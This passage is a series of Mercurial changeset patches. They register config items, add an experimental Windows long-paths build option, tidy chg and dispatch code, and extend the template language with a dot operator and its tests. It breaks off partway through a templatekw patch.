configitems: register the 'experimental.maxdeltachainspan' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -194,6 +194,9 @@
 coreconfigitem('experimental', 'editortmpinhg',
     default=False,
 )
+coreconfigitem('experimental', 'maxdeltachainspan',
+    default=-1,
+)
 coreconfigitem('experimental', 'nonnormalparanoidcheck',
     default=False,
 )
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -601,7 +601,7 @@
                                                    'aggressivemergedeltas')
         self.svfs.options['aggressivemergedeltas'] = aggressivemergedeltas
         self.svfs.options['lazydeltabase'] = not scmutil.gddeltaconfig(self.ui)
-        chainspan = self.ui.configbytes('experimental', 'maxdeltachainspan', -1)
+        chainspan = self.ui.configbytes('experimental', 'maxdeltachainspan')
         if 0 <= chainspan:
             self.svfs.options['maxdeltachainspan'] = chainspan
         mmapindexthreshold = self.ui.configbytes('experimental',
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507488226 -7200
#      Sun Oct 08 20:43:46 2017 +0200
# Node ID ca5b833ce7560b6170431c1c382aa49f1b7f8ac0
# Parent  0314e02efa25f79a56a7456e76c5e42406644a29
configitems: register the 'experimental.mmapindexthreshold' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -197,6 +197,9 @@
 coreconfigitem('experimental', 'maxdeltachainspan',
     default=-1,
 )
+coreconfigitem('experimental', 'mmapindexthreshold',
+    default=None,
+)
 coreconfigitem('experimental', 'nonnormalparanoidcheck',
     default=False,
 )
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -605,7 +605,7 @@
         if 0 <= chainspan:
             self.svfs.options['maxdeltachainspan'] = chainspan
         mmapindexthreshold = self.ui.configbytes('experimental',
-                                                 'mmapindexthreshold', None)
+                                                 'mmapindexthreshold')
         if mmapindexthreshold is not None:
             self.svfs.options['mmapindexthreshold'] = mmapindexthreshold
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507492034 -7200
#      Sun Oct 08 21:47:14 2017 +0200
# Node ID aacb17cc0ee4a5cfacb871b075b0134c04e1fee9
# Parent  ca5b833ce7560b6170431c1c382aa49f1b7f8ac0
configitems: register the 'diff.*' config

All the config were already using a unified function with a forced default, so,
registering them all at once seems safe.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -146,6 +146,36 @@
 coreconfigitem('devel', 'strip-obsmarkers',
     default=True,
 )
+coreconfigitem('diff', 'nodates',
+    default=None,
+)
+coreconfigitem('diff', 'showfunc',
+    default=None,
+)
+coreconfigitem('diff', 'unified',
+    default=None,
+)
+coreconfigitem('diff', 'git',
+    default=None,
+)
+coreconfigitem('diff', 'ignorews',
+    default=None,
+)
+coreconfigitem('diff', 'ignorewsamount',
+    default=None,
+)
+coreconfigitem('diff', 'ignoreblanklines',
+    default=None,
+)
+coreconfigitem('diff', 'ignorewseol',
+    default=None,
+)
+coreconfigitem('diff', 'nobinary',
+    default=None,
+)
+coreconfigitem('diff', 'noprefix',
+    default=None,
+)
 coreconfigitem('email', 'charsets',
     default=list,
 )
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -2235,7 +2235,7 @@
                 return v
         if forceplain is not None and ui.plain():
             return forceplain
-        return getter(section, name or key, None, untrusted=untrusted)
+        return getter(section, name or key, untrusted=untrusted)
 
     # core options, expected to be understood by every diff parser
     buildopts = {
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507492120 -7200
#      Sun Oct 08 21:48:40 2017 +0200
# Node ID bed1d2eaa1083d6096de0ffb407604d3410f64bc
# Parent  aacb17cc0ee4a5cfacb871b075b0134c04e1fee9
configitems: register 'merge.checkunknown' and 'merge.checkignored'

They both use the same function defining a default, so we need to update them at
the same time.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -344,6 +344,12 @@
 coreconfigitem('http_proxy', 'user',
     default=None,
 )
+coreconfigitem('merge', 'checkunknown',
+    default='abort',
+)
+coreconfigitem('merge', 'checkignored',
+    default='abort',
+)
 coreconfigitem('merge', 'followcopies',
     default=True,
 )
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -603,7 +603,7 @@
         self._results[f] = 0, 'g'
 
 def _getcheckunknownconfig(repo, section, name):
-    config = repo.ui.config(section, name, default='abort')
+    config = repo.ui.config(section, name)
     valid = ['abort', 'ignore', 'warn']
     if config not in valid:
         validstr = ', '.join(["'" + v + "'" for v in valid])
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507491670 -7200
#      Sun Oct 08 21:41:10 2017 +0200
# Node ID 486dbd6afa57f68993ecef8300e111c173d302b0
# Parent  bed1d2eaa1083d6096de0ffb407604d3410f64bc
configitems: register the 'devel.warn-config' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -146,6 +146,9 @@
 coreconfigitem('devel', 'strip-obsmarkers',
     default=True,
 )
+coreconfigitem('devel', 'warn-config',
+    default=None,
+)
 coreconfigitem('diff', 'nodates',
     default=None,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507491386 -7200
#      Sun Oct 08 21:36:26 2017 +0200
# Node ID 99c5922b1641103b647961e213ab06264404c44f
# Parent  486dbd6afa57f68993ecef8300e111c173d302b0
configitems: register the 'devel.warn-config-default' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -149,6 +149,9 @@
 coreconfigitem('devel', 'warn-config',
     default=None,
 )
+coreconfigitem('devel', 'warn-config-default',
+    default=None,
+)
 coreconfigitem('diff', 'nodates',
     default=None,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507491682 -7200
#      Sun Oct 08 21:41:22 2017 +0200
# Node ID 100f0ddb029b485b5a4cd028e17e9efadb20fd61
# Parent  99c5922b1641103b647961e213ab06264404c44f
configitems: register the 'devel.cache-vfs' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -116,6 +116,9 @@
 coreconfigitem('devel', 'bundle2.debug',
     default=False,
 )
+coreconfigitem('devel', 'cache-vfs',
+    default=None,
+)
 coreconfigitem('devel', 'check-locks',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507491697 -7200
#      Sun Oct 08 21:41:37 2017 +0200
# Node ID 3999b74b676535769a1e73128923222de374ad01
# Parent  100f0ddb029b485b5a4cd028e17e9efadb20fd61
configitems: register the 'devel.empty-changegroup' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -134,6 +134,9 @@
 coreconfigitem('devel', 'disableloaddefaultcerts',
     default=False,
 )
+coreconfigitem('devel', 'empty-changegroup',
+    default=False,
+)
 coreconfigitem('devel', 'legacy.exchange',
     default=list,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507493195 -7200
#      Sun Oct 08 22:06:35 2017 +0200
# Node ID d5362671993be96ce4f40bdaecc6360878ec2f1f
# Parent  3999b74b676535769a1e73128923222de374ad01
configitems: register the 'experimental.graphstyle.parent' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -272,6 +272,9 @@
 coreconfigitem('experimental', 'graphshorten',
     default=False,
 )
+coreconfigitem('experimental', 'graphstyle.parent',
+    default=dynamicdefault,
+)
 coreconfigitem('experimental', 'hook-track-tags',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507493241 -7200
#      Sun Oct 08 22:07:21 2017 +0200
# Node ID 23783463d7208720607ae942f78a6c0ebda42461
# Parent  d5362671993be96ce4f40bdaecc6360878ec2f1f
configitems: register the 'experimental.graphstyle.missing' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -275,6 +275,9 @@
 coreconfigitem('experimental', 'graphstyle.parent',
     default=dynamicdefault,
 )
+coreconfigitem('experimental', 'graphstyle.missing',
+    default=dynamicdefault,
+)
 coreconfigitem('experimental', 'hook-track-tags',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507493267 -7200
#      Sun Oct 08 22:07:47 2017 +0200
# Node ID 4a6a337f9c682bdf1659295f871dc43ff33677ca
# Parent  23783463d7208720607ae942f78a6c0ebda42461
configitems: register the 'experimental.graphstyle.grandparent' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -278,6 +278,9 @@
 coreconfigitem('experimental', 'graphstyle.missing',
     default=dynamicdefault,
 )
+coreconfigitem('experimental', 'graphstyle.grandparent',
+    default=dynamicdefault,
+)
 coreconfigitem('experimental', 'hook-track-tags',
     default=False,
 )
# HG changeset patch
# User Kostia Balytskyi <ikostia@fb.com>
# Date 1507541423 25200
#      Mon Oct 09 02:30:23 2017 -0700
# Node ID ed5acd3fd7e19b92033b379580c228d88c09785f
# Parent  4a6a337f9c682bdf1659295f871dc43ff33677ca
windows: add an experimental option for long paths support

This commit adds an experimental --long-paths-support flag to build_hgexe
on Windows. It is off by default, but when supplied, causes setup.py to
embed some XML into the generated hg.exe, which in turn tells Windows to
allow this exe to use long paths (given that the appropriate registry setting
is enabled as well).
This was tested on Windows 10 14393 and 15063.

This commit introduces a badly-named initialize_options function, but its name
is dictated by distutils, rather than chosen.

# no-check-commit

diff --git a/setup.py b/setup.py
--- a/setup.py
+++ b/setup.py
@@ -516,6 +516,26 @@
 
 class buildhgexe(build_ext):
     description = 'compile hg.exe from mercurial/exewrapper.c'
+    user_options = build_ext.user_options + [
+        ('long-paths-support', None, 'enable support for long paths on '
+                                     'Windows (off by default and '
+                                     'experimental)'),
+    ]
+
+    LONG_PATHS_MANIFEST = """
+    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+    <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+        <application>
+            <windowsSettings
+            xmlns:ws2="http://schemas.microsoft.com/SMI/2016/WindowsSettings">
+                <ws2:longPathAware>true</ws2:longPathAware>
+            </windowsSettings>
+        </application>
+    </assembly>"""
+
+    def initialize_options(self):
+        build_ext.initialize_options(self)
+        self.long_paths_support = False
 
     def build_extensions(self):
         if os.name != 'nt':
@@ -557,10 +577,45 @@
         objects = self.compiler.compile(['mercurial/exewrapper.c'],
                                          output_dir=self.build_temp)
         dir = os.path.dirname(self.get_ext_fullpath('dummy'))
-        target = os.path.join(dir, 'hg')
-        self.compiler.link_executable(objects, target,
+        self.hgtarget = os.path.join(dir, 'hg')
+        self.compiler.link_executable(objects, self.hgtarget,
                                       libraries=[],
                                       output_dir=self.build_temp)
+        if self.long_paths_support:
+            self.addlongpathsmanifest()
+
+    def addlongpathsmanifest(self):
+        """Add manifest pieces so that hg.exe understands long paths
+
+        This is an EXPERIMENTAL feature, use with care.
+        To enable long paths support, one needs to do two things:
+        - build Mercurial with --long-paths-support option
+        - change HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\
+                 LongPathsEnabled to have value 1.
+
+        Please ignore 'warning 81010002: Unrecognized Element "longPathAware"';
+        it happens because Mercurial uses mt.exe circa 2008, which is not
+        yet aware of long paths support in the manifest (I think so at least).
+        This does not stop mt.exe from embedding/merging the XML properly.
+
+        Why resource #1 should be used for .exe manifests? I don't know and
+        wasn't able to find an explanation for mortals. But it seems to work.
+        """
+        exefname = self.compiler.executable_filename(self.hgtarget)
+        fdauto, manfname = tempfile.mkstemp(suffix='.hg.exe.manifest')
+        os.close(fdauto)
+        with open(manfname, 'w') as f:
+            f.write(self.LONG_PATHS_MANIFEST)
+        log.info("long paths manifest is written to '%s'" % manfname)
+        inputresource = '-inputresource:%s;#1' % exefname
+        outputresource = '-outputresource:%s;#1' % exefname
+        log.info("running mt.exe to update hg.exe's manifest in-place")
+        # supplying both -manifest and -inputresource to mt.exe makes
+        # it merge the embedded and supplied manifests in the -outputresource
+        self.spawn(['mt.exe', '-nologo', '-manifest', manfname,
+                    inputresource, outputresource])
+        log.info("done updating hg.exe's manifest")
+        os.remove(manfname)
 
     @property
     def hgexepath(self):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1507381630 -32400
#      Sat Oct 07 22:07:10 2017 +0900
# Node ID 50788d1ae6cc52c0722222e1a17f583d515ee449
# Parent  ed5acd3fd7e19b92033b379580c228d88c09785f
chg: just forward --time to command server

Since we've removed the use of atexit in de5c9d0e02ea, --time just works.

diff --git a/contrib/chg/chg.c b/contrib/chg/chg.c
--- a/contrib/chg/chg.c
+++ b/contrib/chg/chg.c
@@ -369,7 +369,6 @@
 		SERVE = 1,
 		DAEMON = 2,
 		SERVEDAEMON = SERVE | DAEMON,
-		TIME = 4,
 	};
 	unsigned int state = 0;
 	int i;
@@ -381,11 +380,8 @@
 		else if (strcmp("-d", argv[i]) == 0 ||
 			 strcmp("--daemon", argv[i]) == 0)
 			state |= DAEMON;
-		else if (strcmp("--time", argv[i]) == 0)
-			state |= TIME;
 	}
-	return (state & TIME) == TIME ||
-	       (state & SERVEDAEMON) == SERVEDAEMON;
+	return (state & SERVEDAEMON) == SERVEDAEMON;
 }
 
 static void execoriginalhg(const char *argv[])
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506923530 -3600
#      Mon Oct 02 06:52:10 2017 +0100
# Node ID b09b3eaf9c969f900339943988c5930dc6768e40
# Parent  50788d1ae6cc52c0722222e1a17f583d515ee449
py3: work around the scope of exception variable in dispatch.run()

https://stackoverflow.com/questions/29268892/

diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -79,12 +79,14 @@
     err = None
     try:
         status = (dispatch(req) or 0) & 255
-    except error.StdioError as err:
+    except error.StdioError as e:
+        err = e
         status = -1
     if util.safehasattr(req.ui, 'fout'):
         try:
             req.ui.fout.flush()
-        except IOError as err:
+        except IOError as e:
+            err = e
             status = -1
     if util.safehasattr(req.ui, 'ferr'):
         if err is not None and err.errno != errno.EPIPE:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506925104 -3600
#      Mon Oct 02 07:18:24 2017 +0100
# Node ID 163fa0aea71ea8524036b248a3db2837866e1124
# Parent  b09b3eaf9c969f900339943988c5930dc6768e40
dispatch: move initialization of sys.std* files

I'll add another Python 3 hack.

diff --git a/contrib/hgperf b/contrib/hgperf
--- a/contrib/hgperf
+++ b/contrib/hgperf
@@ -94,7 +94,4 @@
 
 dispatch.runcommand = runcommand
 
-for fp in (sys.stdin, sys.stdout, sys.stderr):
-    util.setbinary(fp)
-
 dispatch.run()
diff --git a/hg b/hg
--- a/hg
+++ b/hg
@@ -37,11 +37,5 @@
     sys.stderr.write("(check your install and PYTHONPATH)\n")
     sys.exit(-1)
 
-from mercurial import (
-    dispatch,
-    util,
-)
-for fp in (sys.stdin, sys.stdout, sys.stderr):
-    util.setbinary(fp)
-
+from mercurial import dispatch
 dispatch.run()
diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -75,6 +75,7 @@
 
 def run():
     "run the command in sys.argv"
+    _initstdio()
     req = request(pycompat.sysargv[1:])
     err = None
     try:
@@ -95,6 +96,10 @@
         req.ui.ferr.flush()
     sys.exit(status & 255)
 
+def _initstdio():
+    for fp in (sys.stdin, sys.stdout, sys.stderr):
+        util.setbinary(fp)
+
 def _getsimilar(symbols, value):
     sim = lambda x: difflib.SequenceMatcher(None, value, x).ratio()
     # The cutoff for similarity here is pretty arbitrary. It should
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504952005 -32400
#      Sat Sep 09 19:13:25 2017 +0900
# Node ID b3073e175c17d27005b8133569b165ea89ae7e0a
# Parent  163fa0aea71ea8524036b248a3db2837866e1124
templater: wrap get/min/max result so map operation can apply to element

See the test for usage example.

wraphybridvalue() takes a key/value pair because a hybrid dict passes a key
to its makemap() function. Since makemap() of showmanifest() doesn't need
a key, it's set to None.

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -78,13 +78,18 @@
     value. Use unwrapvalue() or unwraphybrid() to obtain the inner object.
     """
 
-    def __init__(self, gen, value, makemap):
-        self.gen = gen
+    def __init__(self, gen, key, value, makemap):
+        if gen is not None:
+            self.gen = gen  # generator or function returning generator
+        self._key = key
         self._value = value  # may be generator of strings
         self._makemap = makemap
 
+    def gen(self):
+        yield pycompat.bytestr(self._value)
+
     def tomap(self):
-        return self._makemap()
+        return self._makemap(self._key)
 
     def itermaps(self):
         yield self.tomap()
@@ -114,6 +119,20 @@
         return thing
     return thing._value
 
+def wraphybridvalue(container, key, value):
+    """Wrap an element of hybrid container to be mappable
+
+    The key is passed to the makemap function of the given container, which
+    should be an item generated by iter(container).
+    """
+    makemap = getattr(container, '_makemap', None)
+    if makemap is None:
+        return value
+    if util.safehasattr(value, '_makemap'):
+        # a nested hybrid list/dict, which has its own way of map operation
+        return value
+    return _mappable(None, key, value, makemap)
+
 def showdict(name, data, mapping, plural=None, key='key', value='value',
              fmt='%s=%s', separator=' '):
     c = [{key: k, value: v} for k, v in data.iteritems()]
@@ -578,7 +597,7 @@
     f = templ('manifest', **args)
     # TODO: perhaps 'ctx' should be dropped from mapping because manifest
     # rev and node are completely different from changeset's.
-    return _mappable(f, f, lambda: {'rev': mrev, 'node': mhex})
+    return _mappable(f, None, f, lambda x: {'rev': mrev, 'node': mhex})
 
 def shownames(namespace, **args):
     """helper method to generate a template keyword for a namespace"""
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -730,7 +730,10 @@
         raise error.ParseError(_("get() expects a dict as first argument"))
 
     key = evalfuncarg(context, mapping, args[1])
-    return dictarg.get(key)
+    val = dictarg.get(key)
+    if val is None:
+        return
+    return templatekw.wraphybridvalue(dictarg, key, val)
 
 @templatefunc('if(expr, then[, else])')
 def if_(context, mapping, args):
@@ -874,10 +877,11 @@
 
     iterable = evalfuncarg(context, mapping, args[0])
     try:
-        return max(iterable)
+        x = max(iterable)
     except (TypeError, ValueError):
         # i18n: "max" is a keyword
         raise error.ParseError(_("max first argument should be an iterable"))
+    return templatekw.wraphybridvalue(iterable, x, x)
 
 @templatefunc('min(iterable)')
 def min_(context, mapping, args, **kwargs):
@@ -888,10 +892,11 @@
 
     iterable = evalfuncarg(context, mapping, args[0])
     try:
-        return min(iterable)
+        x = min(iterable)
     except (TypeError, ValueError):
         # i18n: "min" is a keyword
         raise error.ParseError(_("min first argument should be an iterable"))
+    return templatekw.wraphybridvalue(iterable, x, x)
 
 @templatefunc('mod(a, b)')
 def mod(context, mapping, args):
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3128,10 +3128,24 @@
   $ hg log -R latesttag -r tip -T '{manifest % "{rev}:{node}"}\n'
   11:2bc6e9006ce29882383a22d39fd1f4e66dd3e2fc
 
-Test manifest can be join()-ed as before, though it's silly:
+  $ hg log -R latesttag -r tip -T '{get(extras, "branch") % "{key}: {value}\n"}'
+  branch: default
+  $ hg log -R latesttag -r tip -T '{get(extras, "unknown") % "{key}\n"}'
+  hg: parse error: None is not iterable
+  [255]
+  $ hg log -R latesttag -r tip -T '{min(extras) % "{key}: {value}\n"}'
+  branch: default
+  $ hg log -R latesttag -l1 -T '{min(revset("0:9")) % "{rev}:{node|short}\n"}'
+  0:ce3cec86e6c2
+  $ hg log -R latesttag -l1 -T '{max(revset("0:9")) % "{rev}:{node|short}\n"}'
+  9:fbc7cd862e9c
+
+Test manifest/get() can be join()-ed as before, though it's silly:
 
   $ hg log -R latesttag -r tip -T '{join(manifest, "")}\n'
   11:2bc6e9006ce2
+  $ hg log -R latesttag -r tip -T '{join(get(extras, "branch"), "")}\n'
+  default
 
 Test the sub function of templating for expansion:
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504953176 -32400
#      Sat Sep 09 19:32:56 2017 +0900
# Node ID 78590585c0db3d0b8c0fadb31f4ff115fae74fca
# Parent  b3073e175c17d27005b8133569b165ea89ae7e0a
templater: add dot operator to easily access a sub item

This and the next patch will allow us to access a deeply-nested item
by foo.bar.baz syntax.

diff --git a/mercurial/help/templates.txt b/mercurial/help/templates.txt
--- a/mercurial/help/templates.txt
+++ b/mercurial/help/templates.txt
@@ -72,6 +72,11 @@
 To prevent it from being interpreted, you can use an escape character ``\{``
 or a raw string prefix, ``r'...'``.
 
+The dot operator can be used as a shorthand for accessing a sub item:
+
+- ``expr.member`` is roughly equivalent to ``expr % "{member}"`` if ``expr``
+  returns a non-list/dict. The returned value is not stringified.
+
 Aliases
 =======
 
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -73,6 +73,7 @@
     This class allows us to handle both:
     - "{manifest}"
     - "{manifest % '{rev}:{node}'}"
+    - "{manifest.rev}"
 
     Unlike a _hybrid, this does not simulate the behavior of the underling
     value. Use unwrapvalue() or unwraphybrid() to obtain the inner object.
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -35,6 +35,7 @@
 elements = {
     # token-type: binding-strength, primary, prefix, infix, suffix
     "(": (20, None, ("group", 1, ")"), ("func", 1, ")"), None),
+    ".": (18, None, None, (".", 18), None),
     "%": (15, None, None, ("%", 15), None),
     "|": (15, None, None, ("|", 15), None),
     "*": (5, None, None, ("*", 5), None),
@@ -60,7 +61,7 @@
         c = program[pos]
         if c.isspace(): # skip inter-token whitespace
             pass
-        elif c in "(=,)%|+-*/": # handle simple operators
+        elif c in "(=,).%|+-*/": # handle simple operators
             yield (c, None, pos)
         elif c in '"\'': # handle quoted templates
             s = pos + 1
@@ -450,6 +451,26 @@
             # If so, return the expanded value.
             yield v
 
+def buildmember(exp, context):
+    darg = compileexp(exp[1], context, methods)
+    memb = getsymbol(exp[2])
+    return (runmember, (darg, memb))
+
+def runmember(context, mapping, data):
+    darg, memb = data
+    d = evalrawexp(context, mapping, darg)
+    if util.safehasattr(d, 'tomap'):
+        lm = mapping.copy()
+        lm.update(d.tomap())
+        return runsymbol(context, lm, memb)
+    # TODO: d.get(memb) if dict-like?
+
+    sym = findsymbolicname(darg)
+    if sym:
+        raise error.ParseError(_("keyword '%s' has no member") % sym)
+    else:
+        raise error.ParseError(_("%r has no member") % d)
+
 def buildnegate(exp, context):
     arg = compileexp(exp[1], context, exprmethods)
     return (runnegate, arg)
@@ -1152,7 +1173,7 @@
     "symbol": lambda e, c: (runsymbol, e[1]),
     "template": buildtemplate,
     "group": lambda e, c: compileexp(e[1], c, exprmethods),
-#    ".": buildmember,
+    ".": buildmember,
     "|": buildfilter,
     "%": buildmap,
     "func": buildfunc,
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3147,6 +3147,51 @@
   $ hg log -R latesttag -r tip -T '{join(get(extras, "branch"), "")}\n'
   default
 
+Test dot operator precedence:
+
+  $ hg debugtemplate -R latesttag -r0 -v '{manifest.node|short}\n'
+  (template
+    (|
+      (.
+        (symbol 'manifest')
+        (symbol 'node'))
+      (symbol 'short'))
+    (string '\n'))
+  89f4071fec70
+
+ (the following examples are invalid, but seem natural in parsing POV)
+
+  $ hg debugtemplate -R latesttag -r0 -v '{foo|bar.baz}\n' 2> /dev/null
+  (template
+    (|
+      (symbol 'foo')
+      (.
+        (symbol 'bar')
+        (symbol 'baz')))
+    (string '\n'))
+  [255]
+  $ hg debugtemplate -R latesttag -r0 -v '{foo.bar()}\n' 2> /dev/null
+  (template
+    (.
+      (symbol 'foo')
+      (func
+        (symbol 'bar')
+        None))
+    (string '\n'))
+  [255]
+
+Test evaluation of dot operator:
+
+  $ hg log -R latesttag -l1 -T '{min(revset("0:9")).node}\n'
+  ce3cec86e6c26bd9bdfc590a6b92abc9680f1796
+
+  $ hg log -R latesttag -l1 -T '{author.invalid}\n'
+  hg: parse error: keyword 'author' has no member
+  [255]
+  $ hg log -R latesttag -l1 -T '{min("abc").invalid}\n'
+  hg: parse error: 'a' has no member
+  [255]
+
 Test the sub function of templating for expansion:
 
   $ hg log -R latesttag -r 10 --template '{sub("[0-9]", "x", "{rev}")}\n'
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505743637 -32400
#      Mon Sep 18 23:07:17 2017 +0900
# Node ID 4c1cfe54c08ddfef0f1db9ab7ffbab109b93f9e6
# Parent  78590585c0db3d0b8c0fadb31f4ff115fae74fca
templater: extend dot operator as a short for get(dict, key)

diff --git a/mercurial/help/templates.txt b/mercurial/help/templates.txt
--- a/mercurial/help/templates.txt
+++ b/mercurial/help/templates.txt
@@ -76,6 +76,7 @@
 
 - ``expr.member`` is roughly equivalent to ``expr % "{member}"`` if ``expr``
   returns a non-list/dict. The returned value is not stringified.
+- ``dict.key`` is identical to ``get(dict, "key")``.
 
 Aliases
 =======
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -463,7 +463,8 @@
         lm = mapping.copy()
         lm.update(d.tomap())
         return runsymbol(context, lm, memb)
-    # TODO: d.get(memb) if dict-like?
+    if util.safehasattr(d, 'get'):
+        return _getdictitem(d, memb)
 
     sym = findsymbolicname(darg)
     if sym:
@@ -751,6 +752,9 @@
         raise error.ParseError(_("get() expects a dict as first argument"))
 
     key = evalfuncarg(context, mapping, args[1])
+    return _getdictitem(dictarg, key)
+
+def _getdictitem(dictarg, key):
     val = dictarg.get(key)
     if val is None:
         return
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3184,6 +3184,8 @@
 
   $ hg log -R latesttag -l1 -T '{min(revset("0:9")).node}\n'
   ce3cec86e6c26bd9bdfc590a6b92abc9680f1796
+  $ hg log -R latesttag -r0 -T '{extras.branch}\n'
+  default
 
   $ hg log -R latesttag -l1 -T '{author.invalid}\n'
   hg: parse error: keyword 'author' has no member
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505746145 -32400
#      Mon Sep 18 23:49:05 2017 +0900
# Node ID 8c3dd5e462cc39ea2fed1c577da079953d4e6b38
# Parent  4c1cfe54c08ddfef0f1db9ab7ffbab109b93f9e6
templatekw: fix scope of peerpath url bound to generator

I had to explicitly bind 'd' to the generator. Otherwise, the last 'd' would
be used.

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -663,9 +663,9 @@
         d = util.sortdict()
         d['url'] = p.rawloc
         d.update((o, v) for o, v in sorted(p.suboptions.iteritems()))
-        def f():
+        def f(d):
             yield d['url']
-        paths[k] = hybriddict(d, gen=f())
+        paths[k] = hybriddict(d, gen=f(d))
 
     # no hybriddict() since d['path'] can't be formatted as a string. perhaps
     # hybriddict() should call templatefilters.stringify(d[value]).
diff --git a/tests/test-paths.t b/tests/test-paths.t
--- a/tests/test-paths.t
+++ b/tests/test-paths.t
@@ -94,10 +94,10 @@
   dupe=$TESTTMP/b#tip (glob)
   expand=$TESTTMP/a/$SOMETHING/bar (glob)
   $ hg log -rnull -T '{peerpaths % "{name}: {path}\n"}'
-  dupe: $TESTTMP/a/$SOMETHING/bar (glob)
+  dupe: $TESTTMP/b#tip (glob)
   expand: $TESTTMP/a/$SOMETHING/bar (glob)
   $ hg log -rnull -T '{get(peerpaths, "dupe")}\n'
-  $TESTTMP/a/$SOMETHING/bar (glob)
+  $TESTTMP/b#tip (glob)
 
  (but a path is actually a dict of url and sub-options)
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505745061 -32400
#      Mon Sep 18 23:31:01 2017 +0900
# Node ID ac38e889b33a309fb474320939c4c5c2b3fffda0
# Parent  8c3dd5e462cc39ea2fed1c577da079953d4e6b38
templatekw: make experimental {peerpaths} return a single-level dict (BC)

This was planned as in c0d8de2724ce, "{peerpaths.default.pushurl} will be
translated to peerpaths['default'].makemap()['pushurl'], which means
{peerpaths} should be a single-level dict and sub-options should be
makemap()-ed."

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -658,19 +658,14 @@
     """A dictionary of repository locations defined in the [paths] section
     of your configuration file. (EXPERIMENTAL)"""
     # see commands.paths() for naming of dictionary keys
-    paths = util.sortdict()
-    for k, p in sorted(repo.ui.paths.iteritems()):
-        d = util.sortdict()
-        d['url'] = p.rawloc
+    paths = repo.ui.paths
+    urls = util.sortdict((k, p.rawloc) for k, p in sorted(paths.iteritems()))
+    def makemap(k):
+        p = paths[k]
+        d = {'name': k, 'url': p.rawloc}
